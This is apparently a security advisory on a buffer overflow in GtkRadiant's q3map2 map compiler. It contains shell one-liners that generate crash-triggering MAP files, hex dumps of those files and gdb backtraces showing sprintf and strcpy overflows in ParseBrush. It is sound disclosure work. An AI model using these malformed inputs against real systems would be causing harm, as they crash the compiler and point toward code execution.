=====
Intro
=====

GtkRadiant is a cross-platform level editor software for idtech game engines such as Quake. It comes with data authoring tools and a BSP map compiler called q3map2 which parses MAP files. The code has been around for a long time and uses unsafe string copy and format functions. A buffer overflow was discovered in the map compiler that occurs when parsing malformed MAP files with large shader image names that could allow for arbitrary code execution.

Various projects also use or have forked the q2map2 code into their projects such as DeepMind Lab and other 3D or game related codebases.

=====
Repro
=====

$ echo -ne "\x2f\x2f\x0a\x7b\x0a\x61\x20\x70\x20\x73\x20\x30\x0a\x7b\x0a\x28\x20\x34\x20\x32\x20\x34\x20\x29\x20\x28\x20\x34\x20\x38\x20\x34\x20\x29\x20\x28\x20\x34\x20\x34\x20\x34\x20\x29\x20"`perl -e 'print "B" x 55'`"\x20\x35\x20\x30\x20\x34\x20\x30\x20\x7d\x0a" > crash_sprintf.map

$ xxd crash_sprintf.map 
00000000: 2f2f 0a7b 0a61 2070 2073 2030 0a7b 0a28  //.{.a p s 0.{.(
00000010: 2034 2032 2034 2029 2028 2034 2038 2034   4 2 4 ) ( 4 8 4
00000020: 2029 2028 2034 2034 2034 2029 2042 4242   ) ( 4 4 4 ) BBB
00000030: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000060: 4242 4242 2035 2030 2034 2030 207d 0a    BBBB 5 0 4 0 }.

$ echo -ne "\x2f\x2f\x0a\x7b\x0a\x61\x20\x70\x20\x73\x20\x30\x0a\x7b\x0a\x28\x20\x34\x20\x32\x20\x34\x20\x29\x20\x28\x20\x34\x20\x38\x20\x34\x20\x29\x20\x28\x20\x34\x20\x34\x20\x34\x20\x29\x20"`perl -e 'print "B" x 64'`"\x20\x35\x20\x30\x20\x34\x20\x30\x20\x7d\x0a" > crash_strcpy.map

$ xxd crash_strcpy.map 
00000000: 2f2f 0a7b 0a61 2070 2073 2030 0a7b 0a28  //.{.a p s 0.{.(
00000010: 2034 2032 2034 2029 2028 2034 2038 2034   4 2 4 ) ( 4 8 4
00000020: 2029 2028 2034 2034 2034 2029 2042 4242   ) ( 4 4 4 ) BBB
00000030: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000060: 4242 4242 4242 4242 4242 4242 4220 3520  BBBBBBBBBBBBB 5 
00000070: 3020 3420 3020 7d0a                      0 4 0 }.

========
Debugger
========

(gdb) r crash_sprintf.map 
Starting program: GtkRadiant/build/release/q3map2/q3map2 crash_sprintf.map
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2.5.17
threads: 4
Q3Map         - v1.0r (c) 1999 Id Software Inc.
Q3Map (ydnar) - v2.5.17
GtkRadiant    - v1.6.6 Jan  9 2022 20:51:50
We're still here
VFS Init: /home/test/.q3a/baseq3/
VFS Init: GtkRadiant/build/release//baseq3/

--- BSP ---
Loading crash_sprintf.map
entering crash_sprintf.map
*** buffer overflow detected ***: terminated

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff78bb859 in __GI_abort () at abort.c:79
#2  0x00007ffff79263ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7a5007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3  0x00007ffff79c8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7a50012 "buffer overflow detected") at fortify_fail.c:26
#4  0x00007ffff79c73e6 in __GI___chk_fail () at chk_fail.c:28
#5  0x00007ffff791e1cf in _IO_str_chk_overflow (fp=<optimized out>, c=<optimized out>) at iovsprintf.c:35
#6  0x00007ffff792b1a4 in __GI__IO_default_xsputn (n=<optimized out>, data=<optimized out>, f=<optimized out>) at libioP.h:948
#7  __GI__IO_default_xsputn (f=0x7fffffffd680, data=<optimized out>, n=55) at genops.c:370
#8  0x00007ffff791027c in __vfprintf_internal (s=s@entry=0x7fffffffd680, format=format@entry=0x5555555dd35a "textures/%s", ap=ap@entry=0x7fffffffd7c0, mode_flags=mode_flags@entry=6)
    at ../libio/libioP.h:948
#9  0x00007ffff791e279 in __vsprintf_internal (string=0x7fffffffd930 "textures/", 'B' <repeats 54 times>, maxlen=<optimized out>, format=0x5555555dd35a "textures/%s", args=args@entry=0x7fffffffd7c0, 
    mode_flags=6) at iovsprintf.c:95
#10 0x00007ffff79c6edb in ___sprintf_chk (s=<optimized out>, flag=<optimized out>, slen=<optimized out>, format=<optimized out>) at sprintf_chk.c:40
#11 0x00005555555a35de in ParseBrush ()
#12 0x00005555555a464f in LoadMapFile ()
#13 0x000055555559b824 in BSPMain ()
#14 0x000055555555f935 in main ()

(gdb) r crash_strcpy.map 
...

*** buffer overflow detected ***: terminated

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff78bb859 in __GI_abort () at abort.c:79
#2  0x00007ffff79263ee in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7ffff7a5007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3  0x00007ffff79c8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7a50012 "buffer overflow detected") at fortify_fail.c:26
#4  0x00007ffff79c73e6 in __GI___chk_fail () at chk_fail.c:28
#5  0x00007ffff79c6cc6 in __strcpy_chk (dest=0x7fffffffd8f0 "", src=0x5555556af480 <token> 'B' <repeats 64 times>, destlen=64) at strcpy_chk.c:30
#6  0x00005555555a35ab in ParseBrush ()
#7  0x00005555555a464f in LoadMapFile ()
#8  0x000055555559b824 in BSPMain ()
#9  0x000055555555f935 in main ()